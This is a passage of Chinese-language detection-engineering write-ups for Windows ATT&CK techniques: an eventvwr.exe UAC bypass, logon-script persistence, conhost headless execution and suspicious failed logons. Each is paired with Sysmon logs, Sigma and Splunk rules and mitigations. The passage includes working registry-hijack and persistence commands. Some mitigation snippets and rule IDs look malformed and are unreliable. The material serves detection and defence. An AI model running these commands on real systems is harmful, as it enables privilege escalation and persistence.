```cmd\n  reg add \"HKCU\\Software\\Classes\\mscfile\\shell\\open\\command\" /ve /d \"C:\\Windows\\System32\\cmd.exe\" /f\n  eventvwr.exe\n  ```\n  - 修改注册表并触发`eventvwr.exe`，执行`cmd.exe`（高完整性）。  \n  - **所需权限**：用户权限。  \n  - **操作系统**：Windows Vista、7、8、8.1、10（部分版本可能已修补）。  \n- **清理命令**：\n  ```cmd\n  reg delete \"HKCU\\Software\\Classes\\mscfile\\shell\\open\\command\" /f\n  ```\n\n## 检测日志\n\n**Windows安全日志**  \n- **事件ID 4688**：记录`eventvwr.exe`、`reg.exe`或恶意子进程（如`cmd.exe`）的进程创建。  \n\n**Sysmon日志**  \n- **事件ID 1**：记录进程创建，包含`eventvwr.exe`及其子进程的命令行参数。  \n- **事件ID 13**：记录注册表修改，如`HKCU\\Software\\Classes\\mscfile\\shell\\open\\command`。  \n- **事件ID 7**：记录`eventvwr.exe`加载的异常模块（如恶意DLL）。  \n\n**配置日志记录**  \n- 启用注册表审核：`计算机配置 > 策略 > Windows设置 > 安全设置 > 高级审核策略配置 > 对象访问 > 审核注册表`。  \n- 启用命令行参数记录：`计算机配置 > 管理模板 > 系统 > 审核进程创建 > 在进程创建事件中加入命令行 > 启用`。  \n- 部署Sysmon以增强注册表和进程监控。\n\n## 测试复现\n\n### 环境准备\n- **靶机**：Windows 10（或Vista、7、8、8.1，建议测试前确认UAC设置）。  \n- **权限**：标准用户权限（无需管理员）。  \n- **工具**：`eventvwr.exe`（系统自带）、`reg.exe`、Sysmon。  \n- **UAC设置**：非最高级别（如“默认-仅通知应用程序更改”）。  \n- **日志**：启用Windows安全日志和Sysmon。  \n\n### 攻击步骤\n1. **修改注册表**  \n   - 配置`cmd.exe`为`mscfile`默认命令：\n     ```cmd\n     reg add \"HKCU\\Software\\Classes\\mscfile\\shell\\open\\command\" /ve /d \"C:\\Windows\\System32\\cmd.exe\" /f\n     ```\n\n2. **触发UAC绕过**  \n   - 运行事件查看器：\n     ```cmd\n     eventvwr.exe\n     ```\n   - 观察`cmd.exe`是否以高完整性级别启动：\n     ```powershell\n     whoami /groups | findstr \"High\"\n     ```\n\n3. **验证结果**  \n   - 检查注册表：\n     ```powershell\n     Get-ItemProperty -Path \"HKCU:\\Software\\Classes\\mscfile\\shell\\open\\command\"\n     ```\n   - 检查日志：  \n     - **Windows安全日志（事件ID 4688）**：\n       ```powershell\n       Get-WinEvent -LogName Security | Where-Object { $_.Id -eq 4688 -and $_.Message -match \"eventvwr.exe|cmd.exe\" }\n       ```\n     - **Sysmon日志（事件ID 13）**：\n       ```powershell\n       Get-WinEvent -LogName \"Microsoft-Windows-Sysmon/Operational\" | Where-Object { $_.Id -eq 13 -and $_.Message -match \"mscfile\\\\shell\\\\open\\\\command\" }\n       ```\n\n4. **清理**  \n   - 删除注册表键：\n     ```cmd\n     reg delete \"HKCU\\Software\\Classes\\mscfile\\shell\\open\\command\" /f\n     ```\n\n### 示例输出\n```cmd\nreg add \"HKCU\\Software\\Classes\\mscfile\\shell\\open\\command\" /ve /d \"C:\\Windows\\System32\\cmd.exe\" /f\nThe operation completed successfully.\n\neventvwr.exe\n<cmd.exe窗口弹出，运行whoami /groups显示Mandatory Label\\High Mandatory Level>\n\nreg delete \"HKCU\\Software\\Classes\\mscfile\\shell\\open\\command\" /f\nThe operation completed successfully.\n```\n\n**注意**：此复现仅用于学习和测试目的，需在合法授权的测试环境中进行，切勿用于非法活动。\n\n## 测试留痕\n\n- **Sysmon日志（事件ID 13，注册表修改）**：\n  ```plaintext\n  EventID: 13\n  EventType: SetValue\n  UtcTime: 2025-06-10 03:00:00.123\n  ProcessGuid: {12345678-abcd-1234-abcd-1234567890ab}\n  Image: C:\\Windows\\System32\\reg.exe\n  TargetObject: HKCU\\Software\\Classes\\mscfile\\shell\\open\\command\n  Details: C:\\Windows\\System32\\cmd.exe\n  User: CONTOSO\\User\n  ```\n\n- **Sysmon日志（事件ID 1，进程创建）**：\n  ```plaintext\n  EventID: 1\n  UtcTime: 2025-06-10 03:00:00.234\n  ProcessGuid: {12345678-abcd-1234-abcd-1234567890ac}\n  ProcessId: 1234\n  Image: C:\\Windows\\System32\\eventvwr.exe\n  CommandLine: C:\\Windows\\System32\\eventvwr.exe\n  ParentImage: C:\\Windows\\System32\\cmd.exe\n  User: CONTOSO\\User\n  IntegrityLevel: Medium\n  ```\n\n- **Sysmon日志（事件ID 1，恶意子进程）**：\n  ```plaintext\n  EventID: 1\n  UtcTime: 2025-06-10 03:00:00.345\n  ProcessGuid: {12345678-abcd-1234-abcd-1234567890ad}\n  ProcessId: 1235\n  Image: C:\\Windows\\System32\\cmd.exe\n  CommandLine: C:\\Windows\\System32\\cmd.exe\n  ParentImage: C:\\Windows\\System32\\eventvwr.exe\n  User: CONTOSO\\User\n  IntegrityLevel: High\n  ```\n\n## 检测规则/思路\n\n**检测规则**  \n通过监控注册表修改及`eventvwr.exe`的异常子进程，检测UAC绕过行为。以下是具体思路：\n\n1. **日志分析**：\n   - 监控Sysmon事件ID 13，检测`HKCU\\Software\\Classes\\mscfile\\shell\\open\\command`的修改。  \n   - 监控Sysmon事件ID 1，检测`eventvwr.exe`及其子进程（如`cmd.exe`、`powershell.exe`），检查完整性级别提升。  \n   - 监控Windows安全日志事件ID 4688，检测`eventvwr.exe`或`reg.exe`的异常进程创建。  \n   - 检查进程调用树，识别`eventvwr.exe`启动非预期子进程（如`cmd.exe`）。  \n\n2. **Sigma规则（UAC绕过注册表修改）**：\n   ```yaml\n   title: UAC绕过通过Event Viewer注册表劫持\n   id: 7c81fec3-1c1d-43b0-996a-46753041b1b6\n   status: stable\n   description: 检测使用eventvwr.exe的UAC绕过，通过修改mscfile注册表键\n   author: Florian Roth\n   date: 2017/03/19\n   references:\n     - https://attack.mitre.org/techniques/T1548/002/\n     - https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/\n   tags:\n     - attack.privilege_escalation\n     - attack.t1548.002\n     - attack.defense_evasion\n   logsource:\n     product: windows\n     category: registry_event\n   detection:\n     selection:\n       EventID: 13\n       TargetObject|startswith: 'HKCU\\'\n       TargetObject|endswith: '\\mscfile\\shell\\open\\command'\n     condition: selection\n   fields:\n     - TargetObject\n     - Details\n     - Image\n     - User\n   falsepositives:\n     - 第三方软件修改mscfile注册表\n   level: critical\n   ```\n\n3. **Sigma规则（Eventvwr异常子进程）**：\n   ```yaml\n   title: Eventvwr异常子进程执行\n   id: h89012345-abcd-6789-0123-45678901bcde\n   status: experimental\n   description: 检测eventvwr.exe启动非预期子进程，可能与UAC绕过相关\n   logsource:\n     product: windows\n     service: sysmon\n   detection:\n     selection:\n       EventID: 1\n       ParentImage|endswith: '\\eventvwr.exe'\n       Image|endswith:\n         - '\\cmd.exe'\n         - '\\powershell.exe'\n         - '\\wscript.exe'\n         - '\\cscript.exe'\n     condition: selection\n   fields:\n     - Image\n     - ParentImage\n     - CommandLine\n     - User\n   falsepositives:\n     - 管理员手动调试操作\n   level: high\n   ```\n\n4. **SIEM规则**：\n   - 检测UAC绕过相关行为。\n   - 示例Splunk查询：\n     ```spl\n     (source=\"WinEventLog:Microsoft-Windows-Sysmon/Operational\" (EventID=13 TargetObject=\"*mscfile\\shell\\open\\command*\") OR (EventID=1 ParentImage=\"*eventvwr.exe\" Image IN (\"*cmd.exe\",\"*powershell.exe\",\"*wscript.exe\",\"*cscript.exe\"))) | stats count by Image, CommandLine, TargetObject, ParentImage, User, ComputerName\n     ```\n\n5. **注册表监控**：\n   - 检查mscfile注册表键：\n     ```powershell\n     Get-ItemProperty -Path \"HKCU:\\Software\\Classes\\mscfile\\shell\\open\\command\" -ErrorAction SilentlyContinue\n     ```\n\n6. **工具支持**：\n   - 使用Sysinternals Autoruns检查注册表键：\n     ```cmd\n     autoruns -a | findstr \"mscfile\"\n     ```\n   - 使用Process Monitor捕获实时注册表和进程活动。\n\n7. **威胁情报整合**：\n   - 检查子进程的哈希或命令行参数是否与已知恶意样本匹配，结合威胁情报平台（如VirusTotal、AlienVault）。  \n\n## 建议\n\n### 缓解措施\n\n防御`eventvwr.exe`UAC绕过攻击需从注册表保护、UAC配置和进程监控入手：\n\n1. **设置最高UAC级别**  \n   - 配置UAC为“始终通知”：\n     ```powershell\n     Set-ItemProperty -Path \"HKLM:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\" -Name ConsentPromptBehaviorAdmin -Value 2\n     ```\n\n2. **锁定注册表键**  \n   - 限制`HKCU\\Software\\Classes\\mscfile`的写权限：\n     ```powershell\n     $acl = Get-Acl \"HKCU:\\Software\\Classes\\mscfile\"\n     $acl.SetAccessRuleProtection($true, $false)\n     Set-Acl -Path \"HKCU:\\Software\\Classes\\mscfile\" -AclObject $acl\n     ```\n\n3. **限制reg命令使用**  \n   - 使用AppLocker限制非管理员执行`reg.exe`：\n     ```powershell\n     New-AppLockerPolicy -RuleType Path -Path \"C:\\Windows\\System32\\reg.exe\" -Action Deny -User \"Everyone\"\n     ```\n\n4. **监控eventvwr.exe行为**  \n   - 使用EDR工具检测`eventvwr.exe`的异常子进程。  \n   - 配置Sysmon监控`eventvwr.exe`相关事件。  \n\n5. **定期审计**  \n   - 检查mscfile注册表：\n     ```powershell\n     Get-Item -Path \"HKCU:\\Software\\Classes\\mscfile\\shell\\open\\command\" -ErrorAction SilentlyContinue\n     ```\n   - 检查`eventvwr.exe`子进程：\n     ```powershell\n     Get-WinEvent -LogName \"Microsoft-Windows-Sysmon/Operational\" | Where-Object { $_.Id -eq 1 -and $_.Message -match \"eventvwr.exe\" }\n     ```\n\n6. **补丁管理**  \n   - 确保系统安装最新补丁，部分Windows版本已修复此漏洞（如Windows 10 1803+）。  \n\n## 参考推荐\n\n- MITRE ATT&CK: T1548.002  \n  <https://attack.mitre.org/techniques/T1548/002/>  \n- 无文件UAC绕过（Eventvwr.exe注册表劫持）  \n  <https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/>  \n- UACME GitHub（UAC绕过方法集合）  \n  <https://github.com/hfiref0x/UACME>"
  },
  {
    "path": "Windows/06权限提升/T1037.001-Win-Boot或logon初始化脚本-登录脚本.md",
    "content": "# T1037.001-Win-Boot或Logon初始化脚本-登录脚本\n\n## 描述\n\n攻击者可能利用Windows登录脚本在用户登录时自动执行恶意代码，以实现持久化。Windows支持通过配置登录脚本在特定用户或用户组登录系统时运行指定脚本。这种机制可通过在注册表键`HKU\\<SID>\\Environment\\UserInitMprLogonScript`中设置脚本路径实现。攻击者可利用此功能在单一系统上维持持久性，或在域环境中通过组策略分发登录脚本实现更广泛的持久化。根据脚本的访问权限，可能需要本地用户凭据或管理员权限。登录脚本通常以登录用户的权限运行，可能被用于执行恶意命令、安装后门或收集数据。\n\n## 测试案例\n\n### 用例\n- **持久化**：通过注册表添加登录脚本，在用户登录时运行恶意批处理或可执行文件。\n- **数据收集**：运行脚本收集系统信息并输出到指定位置。\n- **后门部署**：通过登录脚本启动恶意服务或工具。\n- **横向移动**：结合域环境，通过组策略推送恶意登录脚本。\n\n### 示例场景\n- 攻击者在`HKCU\\Environment\\UserInitMprLogonScript`注册表项中添加一个批处理脚本路径，脚本在用户登录时运行并记录日志。\n- 攻击者利用本地权限创建脚本，实现单一用户的持久化。\n\n### 路径\n- 相关路径：\n  ```yml\n  - HKU\\<SID>\\Environment\\UserInitMprLogonScript\n  - %TEMP%\\<script_name>.bat\n  - %USERPROFILE%\\Desktop\\<output_file>.txt\n  ```\n\n### 所需权限\n- 本地用户权限（修改`HKCU`注册表项）。\n- 管理员权限（若修改`HKLM`或域策略）。\n\n### 操作系统\n- Windows 7、Windows 8、Windows 8.1、Windows 10、Windows 11、Windows Server 2008、2012、2016、2019、2022。\n\n## 检测日志\n\n### Windows安全日志\n- **事件ID 4688**：记录`reg.exe`或其他工具的进程创建，涉及注册表修改。\n- **事件ID 4624**：记录用户登录事件，可能触发脚本执行。\n\n### Sysmon日志\n- **事件ID 1**：捕获`reg.exe`或其他工具的进程创建，包含命令行参数。\n- **事件ID 13**：记录注册表值修改（如`UserInitMprLogonScript`）。\n- **事件ID 11**：记录脚本文件（如`.bat`）的创建或修改。\n\n### 其他日志\n- **PowerShell日志**：若脚本涉及PowerShell，可能记录事件ID 4104（脚本块执行）。\n\n## 测试复现\n\n### 环境准备\n- **靶机**：Windows 10/11或Windows Server 2016。\n- **权限**：本地用户权限（修改`HKCU`）。\n- **工具**：\n  - 原生Windows工具（`reg.exe`、`cmd.exe`）。\n  - Sysmon（监控进程和注册表活动）。\n  - Wireshark（可选，监控网络活动，若脚本涉及远程通信）。\n- **网络**：隔离网络环境，无需特定端口。\n- **日志**：启用Windows安全日志（事件ID 4688）、Sysmon日志（事件ID 1、13、11）。\n- **注册表检查**：\n  - 验证`HKCU\\Environment`是否存在：\n    ```powershell\n    Get-ItemProperty -Path \"HKCU:\\Environment\"\n    ```\n\n### 攻击步骤\n1. **创建恶意脚本**：\n   ```cmd\n   echo echo \"Logon Script atomic test was successful.\" >> %USERPROFILE%\\Desktop\\T1037.001-log.txt > %TEMP%\\logon_script.bat\n   ```\n   - 创建批处理脚本`logon_script.bat`，输出成功日志到桌面。\n2. **添加注册表项**：\n   ```cmd\n   REG.exe ADD HKCU\\Environment /v UserInitMprLogonScript /t REG_SZ /d \"%TEMP%\\logon_script.bat\" /f\n   ```\n   - 将脚本路径写入`UserInitMprLogonScript`。\n3. **触发脚本**：\n   - 注销并重新登录当前用户，触发脚本执行。\n   - 检查`%USERPROFILE%\\Desktop\\T1037.001-log.txt`是否生成。\n4. **验证结果**：\n   - 检查注册表：\n     ```powershell\n     Get-ItemProperty -Path \"HKCU:\\Environment\" -Name \"UserInitMprLogonScript\"\n     ```\n   - 验证Sysmon日志，确认事件ID 13（注册表修改）和事件ID 11（文件创建）。\n   - 检查`T1037.001-log.txt`内容。\n5. **清理**：\n   ```cmd\n   REG.exe DELETE HKCU\\Environment /v UserInitMprLogonScript /f\n   del %TEMP%\\logon_script.bat\n   del %USERPROFILE%\\Desktop\\T1037.001-log.txt\n   ```\n\n## 测试留痕\n以下为Sysmon日志示例（事件ID 1，进程创建）：\n```yml\nEventID: 1\nUtcTime: 2025-06-08T05:40:09.002Z\nProcessGuid: {78c84c47-fd19-61db-b511-000000000800}\nProcessId: 7112\nImage: C:\\Windows\\System32\\reg.exe\nFileVersion: 10.0.17763.1\nDescription: Registry Console Tool\nProduct: Microsoft® Operating System\nCompany: Microsoft Corporation\nCommandLine: REG.exe ADD HKCU\\Environment /v UserInitMprLogonScript /t REG_SZ /d \"C:\\Users\\Administrator.ZHULI\\AppData\\Local\\Temp\\logon_script.bat\" /f\nCurrentDirectory: C:\\Users\\Administrator.ZHULI\\Desktop\\\nUser: ZHULI\\Administrator\nLogonId: 0x144DA95\nIntegrityLevel: High\nHashes: SHA1=429DF8371B437209D79DC97978C33157D1A71C4B\nParentProcessId: 2512\nParentImage: C:\\Windows\\System32\\cmd.exe\n```\n\n以下为Sysmon日志示例（事件ID 13，注册表修改）：\n```yml\nEventID: 13\nUtcTime: 2025-06-08T05:40:09.003Z\nProcessGuid: {78c84c47-fd19-61db-b511-000000000800}\nProcessId: 7112\nImage: C:\\Windows\\System32\\reg.exe\nEventType: SetValue\nTargetObject: HKU\\S-1-5-21-2729552704-1545692732-1695105048-500\\Environment\\UserInitMprLogonScript\nDetails: C:\\Users\\Administrator.ZHULI\\AppData\\Local\\Temp\\logon_script.bat\nUser: ZHULI\\Administrator\n```\n\n## 检测方法/思路\n\n### Sigma规则\n```yml\ntitle: Suspicious Logon Script Persistence via Registry\nid: c9d0e1f2-4a5b-6c7d-8e9f-0a1b2c3d4e5g\nstatus: experimental\ndescription: Detects addition of logon script in HKU\\Environment\\UserInitMprLogonScript for persistence\nreferences:\n  - https://attack.mitre.org/techniques/T1037/001\n  - https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1037.001/T1037.001.md\nlogsource:\n  product: windows\n  category: registry_set\ndetection:\n  selection:\n    EventID: 13\n    Image|endswith: '\\reg.exe'\n    TargetObject|contains: '\\Environment\\UserInitMprLogonScript'\n  condition: selection\nfalsepositives:\n  - Legitimate administrative configuration of logon scripts\n  - IT automation scripts\nlevel: high\n```\n\n### 检测思路\n1. **注册表监控**：\n   - 检测`HKU\\*\\Environment\\UserInitMprLogonScript`的创建或修改（事件ID 13）。\n   - 关注`reg.exe`或其他工具的异常注册表操作。\n2. **文件监控**：\n   - 检测脚本文件（如`.bat`、`.ps1`）在`%TEMP%`或非标准路径的创建（事件ID 11）。\n3. **进程监控**：\n   - 检测`reg.exe`或脚本解释器（如`cmd.exe`、`powershell.exe`）的异常启动。\n   - 检查父子进程关系，识别脚本执行链。\n4. **登录事件监控**：\n   - 检测事件ID 4624，关注登录后触发的异常进程。\n5. **行为基线**：\n   - 建立组织内登录脚本的正常配置，识别异常路径或非预期用户。\n\n### 检测建议\n- **Sysmon配置**：配置Sysmon监控注册表修改（事件ID 13）、文件创建（事件ID 11）和进程创建（事件ID 1）。\n- **日志配置**：启用Windows安全日志的进程和登录事件审核。\n- **EDR监控**：使用EDR工具（如Microsoft Defender for Endpoint）检测注册表和脚本相关活动。\n- **误报过滤**：排除合法IT脚本或管理员配置，结合上下文（如用户、路径）降低误报率。\n\n## 缓解措施\n1. **注册表保护**：\n   - 限制非管理员用户修改`HKCU\\Environment`：\n     ```powershell\n     Set-Acl -Path \"HKCU:\\Environment\" -AclObject (Get-Acl -Path \"HKCU:\\Environment\" | Where-Object { $_.Access | Where-Object { $_.IdentityReference -eq \"Everyone\" } | ForEach-Object { $_.AccessControlType = \"Deny\" } })\n     ```\n2. **脚本限制**：\n   - 使用AppLocker或WDAC限制未签名脚本的执行：\n     ```powershell\n     New-AppLockerPolicy -RuleType Publisher -User Everyone -Action Deny\n     ```\n3. **登录脚本管理**：\n   - 定期审计`HKU\\*\\Environment\\UserInitMprLogonScript`和组策略登录脚本。\n   - 限制域环境中非授权用户配置登录脚本。\n4. **监控与告警**：\n   - 配置SIEM实时告警注册表修改和异常脚本执行。\n   - 部署IDS/IPS，检测脚本的网络行为。\n5. **用户权限管理**：\n   - 最小化本地用户权限，防止未授权注册表修改。\n\n## 参考推荐\n- MITRE ATT&CK T1037.001  \n  https://attack.mitre.org/techniques/T1037/001  \n- Atomic Red Team T1037.001  \n  https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1037.001/T1037.001.md\n"
  },
  {
    "path": "Windows/06权限提升/T1068-win-权限提升-带有Headless参数的Windows ConHost.md",
    "content": "# T1068-Win-权限提升-带有Headless参数的Windows ConHost\n\n## 描述\n\n攻击者可能利用软件漏洞或滥用系统可执行文件（如`conhost.exe`）来提升权限或规避防御机制。T1068技术涉及利用程序、服务或操作系统内核中的编程错误执行恶意代码，或通过可信二进制文件（如`conhost.exe`）代理执行恶意进程，以绕过安全限制。`conhost.exe`是Windows控制台主机进程，负责托管命令行应用程序，自Windows 7和Windows Server 2008起引入，用于增强控制台应用程序的安全性。然而，攻击者可能利用`conhost.exe`的`--headless`参数隐藏子进程窗口，执行恶意程序（如`calc.exe`），从而规避检测或实现特权操作。这种行为在合法操作中极少使用，表明潜在的可疑活动，可能用于权限提升或防御逃逸。\n\n## 测试案例\n\n### 用例\n- **防御规避**：使用`conhost.exe`作为代理二进制文件，隐藏恶意子进程（如`calc.exe`）的执行。\n- **窗口隐藏**：通过`--headless`参数运行子进程，防止弹出可见窗口，降低用户察觉风险。\n- **权限提升**：结合漏洞或高权限上下文，利用`conhost.exe`启动特权进程。\n- **持久化**：通过脚本或计划任务调用`conhost.exe`，运行恶意代码。\n\n### 示例场景\n- 攻击者运行`conhost.exe --headless calc.exe`，以`conhost.exe`作为父进程启动计算器，隐藏窗口。\n- 攻击者利用`conhost.exe`代理执行恶意Payload，规避基于父进程的检测。\n\n### 路径\n- 相关工具路径：\n  ```yml\n  - C:\\Windows\\System32\\conhost.exe\n  - C:\\Windows\\System32\\calc.exe\n  ```\n\n### 所需权限\n- 本地用户权限（运行`conhost.exe`和子进程）。\n- 管理员权限（若涉及特权操作或漏洞利用）。\n\n### 操作系统\n- Windows 7、Windows 8、Windows 8.1、Windows 10、Windows 11、Windows Server 2008、2012、2016、2019、2022。\n\n## 检测日志\n\n### Windows安全日志\n- **事件ID 4688**：记录`conhost.exe`及其子进程（如`calc.exe`）的创建，包含命令行参数（如`--headless`）。\n- **事件ID 4672**：记录分配给新进程的安全特权（如高权限）。\n\n### Sysmon日志\n- **事件ID 1**：捕获`conhost.exe`及其子进程的创建，包含命令行参数。\n- **事件ID 10**：记录`conhost.exe`对子进程的访问，可能涉及代理执行。\n\n### 其他日志\n- **网络日志**：若子进程涉及网络通信，可捕获相关流量。\n\n## 测试复现\n\n### 环境准备\n- **靶机**：Windows 10/11或Windows Server 2016。\n- **权限**：本地用户权限。\n- **工具**：\n  - 原生Windows工具（`conhost.exe`、`cmd.exe`）。\n  - Sysmon（监控进程活动）。\n  - Wireshark（可选，监控网络活动，若子进程涉及通信）。\n- **网络**：隔离网络环境，无需特定端口。\n- **日志**：启用Windows安全日志（事件ID 4688）、Sysmon日志（事件ID 1）。\n- **环境检查**：\n  - 验证`conhost.exe`存在：\n    ```powershell\n    Get-Item -Path \"C:\\Windows\\System32\\conhost.exe\"\n    ```\n\n### 攻击步骤\n1. **执行无Headless参数**：\n   ```cmd\n   conhost.exe calc.exe\n   ```\n   - 以`conhost.exe`作为父进程启动计算器，观察窗口是否可见。\n2. **执行带Headless参数**：\n   ```cmd\n   conhost.exe --headless calc.exe\n   ```\n   - 启动计算器，验证窗口是否隐藏。\n3. **验证结果**：\n   - 检查计算器进程是否运行：\n     ```powershell\n     Get-Process -Name calc\n     ```\n   - 验证Windows安全日志，确认事件ID 4688记录`conhost.exe`和`calc.exe`的进程创建。\n   - 检查Sysmon日志，捕获`--headless`命令行参数。\n4. **清理**：\n   - 终止计算器进程：\n     ```cmd\n     taskkill /IM calc.exe /F\n     ```\n\n## 测试留痕\n以下为Windows安全日志示例（事件ID 4688，进程创建）：\n```yml\nEventID: 4688\nTimeCreated: 2025-06-08T05:50:23.456Z\nChannel: Security\nHostname: MAJACKD3D7\nSubjectUserSid: S-1-5-21-4139220405-2433135684-1686031733-1000\nSubjectUserName: jackma\nSubjectDomainName: MAJACKD3D7\nSubjectLogonId: 0x1f9f5\nNewProcessId: 0x16b4\nNewProcessName: C:\\Windows\\System32\\conhost.exe\nTokenElevationType: %%1938\nProcessId: 0x670\nCommandLine: conhost.exe --headless calc.exe\nTargetUserSid: S-1-0-0\nTargetUserName: -\nTargetDomainName: -\nTargetLogonId: 0x0\nParentProcessName: C:\\Windows\\System32\\cmd.exe\nMandatoryLabel: S-1-16-8192\n```\n\n以下为Sysmon日志示例（事件ID 1，进程创建）：\n```yml\nEventID: 1\nUtcTime: 2025-06-08T05:50:23.789Z\nProcessGuid: {b2c3d4e5-6789-61df-0f12-000000000900}\nProcessId: 5812\nImage: C:\\Windows\\System32\\conhost.exe\nCommandLine: conhost.exe --headless calc.exe\nParentProcessId: 1648\nParentImage: C:\\Windows\\System32\\cmd.exe\nUser: MAJACKD3D7\\jackma\nIntegrityLevel: Medium\nHashes: SHA1=A1B2C3D4E5F6A7B8C9D0E1F2A3B4C5D6\n```\n\n## 检测方法/思路\n\n### Sigma规则\n```yml\ntitle: Suspicious Windows ConHost with Headless Parameter\nid: e0f1a2b3-4c5d-6e7f-8a9b-0c1d2e3f4g5h\nstatus: experimental\ndescription: Detects use of conhost.exe with --headless parameter, indicative of potential privilege escalation or defense evasion\nreferences:\n  - https://attack.mitre.org/techniques/T1068\n  - https://lolbas-project.github.io/lolbas/Binaries/Conhost/\n  - https://research.splunk.com/endpoint/d5039508-998d-4cfc-8b5e-9dcd679d9a62/\nlogsource:\n  product: windows\n  category: process_creation\ndetection:\n  selection:\n    EventID: 1\n    Image|endswith: '\\conhost.exe'\n    CommandLine|contains: '--headless'\n  condition: selection\nfalsepositives:\n  - Rare legitimate use of conhost.exe with --headless in automation scripts\nlevel: high\n```\n\n### 检测思路\n1. **进程监控**：\n   - 检测`conhost.exe`进程创建，关注命令行参数包含`--headless`。\n   - 监控`conhost.exe`的子进程（如`calc.exe`、`powershell.exe`），检查是否为异常程序。\n2. **父子进程关系**：\n   - 检查`conhost.exe`的父进程（如`cmd.exe`）是否为非预期脚本或工具。\n3. **行为基线**：\n   - 建立组织内`conhost.exe`的正常使用模式，识别`--headless`的异常调用。\n4. **文件监控**：\n   - 检测`conhost.exe`的异常部署路径（如非`C:\\Windows\\System32`）。\n5. **权限监控**：\n   - 检测`conhost.exe`启动的子进程是否以高权限运行（结合事件ID 4672）。\n\n### 检测建议\n- **Sysmon配置**：配置Sysmon监控进程创建（事件ID 1）和命令行参数。\n- **日志配置**：启用Windows安全日志的进程创建审核（事件ID 4688）。\n- **EDR监控**：使用EDR工具（如Microsoft Defender for Endpoint）检测`conhost.exe`的异常行为。\n- **误报过滤**：排除罕见的合法自动化脚本，结合上下文（如用户、子进程）降低误报率。\n\n## 缓解措施\n1. **可执行文件限制**：\n   - 使用AppLocker或WDAC限制`conhost.exe`的非标准使用：\n     ```powershell\n     New-AppLockerPolicy -RuleType Path -Path \"C:\\Windows\\System32\\conhost.exe\" -User Everyone -Action Allow\n     ```\n2. **命令行监控**：\n   - 配置安全策略，限制`conhost.exe`的命令行参数（如`--headless`）。\n3. **权限管理**：\n   - 最小化用户权限，防止滥用系统二进制文件。\n   - 启用UAC，确保特权操作触发提示。\n4. **监控与告警**：\n   - 配置SIEM实时告警`conhost.exe`的`--headless`使用。\n   - 部署IDS/IPS，检测异常子进程行为。\n5. **补丁管理**：\n   - 定期更新Windows系统，修复潜在漏洞。\n\n## 参考推荐\n- MITRE ATT&CK T1068  \n  https://attack.mitre.org/techniques/T1068  \n- LOLBAS Conhost  \n  https://lolbas-project.github.io/lolbas/Binaries/Conhost/  \n- Splunk ConHost Headless检测  \n  https://research.splunk.com/endpoint/d5039508-998d-4cfc-8b5e-9dcd679d9a62/\n"
  },
  {
    "path": "Windows/06权限提升/T1078.003-Win-帐户篡改-可疑的失败登录原因.md",
    "content": "# T1078.003-Win-可疑的失败登录行为\n\n## 描述\n\n攻击者可能通过凭据访问技术窃取特定用户或服务账号的凭据，或者在早期的侦察过程中通过社会工程手段捕获凭据以获得首次访问权限。\n\n攻击者可能使用以下三类账号：\n1. **默认账号**：操作系统内置的账号，例如Windows系统上的访客或管理员账号，或者其他类型系统、软件或设备上的默认工厂/提供商账号。\n2. **本地账号**：由组织配置给用户、远程支持或服务的账号，或单个系统/服务的管理账号。\n3. **域账号**：由活动目录域服务（AD-DS）管理的账号，其访问权限和权限在域内不同系统和服务之间配置，涵盖用户、管理员和服务账号。\n\n攻击者可能利用窃取的凭据绕过网络内系统上各种资源的访问控制，甚至实现对远程系统和外部可用服务（如VPN、Outlook Web Access和远程桌面）的持久访问。此外，攻击者可能通过窃取的凭据获得特定系统的更高权限或访问网络受限区域。攻击者可能选择不将恶意软件或工具与这些凭据提供的合法访问结合使用，从而降低被检测的风险。\n\n默认账号不仅限于客户端机器上的访客和管理员账号，还包括为设备（如网络设备和计算机应用）预设的账号。这些账号可能是内部的、开源的或商用现货产品（COTS）的。如果设备预设的用户名和密码组合在安装后未更改，将对组织构成严重威胁，因为它们容易成为攻击者的目标。同样，攻击者可能利用公开披露的私钥或盗取的私钥通过远程服务合法连接到远程环境。\n\n需要特别关注跨系统网络的账号访问、凭据和权限的重叠，因为攻击者可能通过在不同账号和系统之间切换，获得更高的访问级别（如域管理员或企业管理员），从而绕过企业内设置的访问控制。\n\n## 测试案例\n\n**Windows账户登录失败**：模拟攻击者尝试使用禁用账号、受限账号或不被授权的账号进行登录，观察系统是否记录相关失败登录事件。\n\n## 检测日志\n\n**Windows 安全日志**：通过Windows事件查看器中的安全日志，捕获与登录失败相关的事件记录。\n\n## 测试复现\n\n场景较为简单，可通过以下步骤自行测试：\n1. 使用已知被禁用或受限的账号尝试登录Windows系统。\n2. 使用未授权的工作站或超出授权时间的账号进行登录尝试。\n3. 观察Windows安全日志中生成的事件ID和状态码。\n\n## 测试留痕\n\n**Windows安全事件ID（适用于Windows 7 / Windows Server 2008及以上版本）**：\n- **4625**：普通账户登录失败\n- **4776**：域账户登录失败\n\n## 检测规则/思路\n\n### Sigma规则\n\n```yml\ntitle: 帐户篡改-可疑的失败登录原因\ndescription: 此方法对失败的登录使用不常见的错误代码来确定可疑活动并篡改已禁用或受某种方式限制的帐户。\ndate: 2020/06/09\ntags:\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1078\nlogsource:\n    product: windows\n    service: security\ndetection:\n    selection:\n        EventID:\n            - 4625 # 普通账户登录失败\n            - 4776 # 域账户登录失败\n        Status:\n            - '0xC0000072'  # 用户登录到帐户已被管理员禁用\n            - '0xC000006F'  # 用户在授权时间之外登录\n            - '0xC0000070'  # 用户从未经授权的工作站登录\n            - '0xC0000413'  # 登录失败：您登录的计算机受到身份验证防火墙的保护。指定的帐户不允许对计算机进行身份验证\n            - '0xC000018C'  # 登录请求失败，因为主域和可信域之间的信任关系失败\n            - '0xC000015B'  # 用户尚未在此计算机上被授予请求的登录类型（也称为登录权限）\n    condition: selection\nfalsepositives:\n    - 使用禁用帐户的用户\n    - 合法用户在非授权时间或设备上尝试登录\nlevel: high\n```\n\n**注意**：此规则主要针对用户账户登录失败行为的状态码进行分析，重点关注不常见的错误代码以识别潜在的账户篡改或未授权访问行为。\n\n### 建议\n\n1. **启用全面的日志记录**：确保Windows安全日志记录所有登录尝试，尤其是失败的登录事件，并定期审查这些日志。\n2. 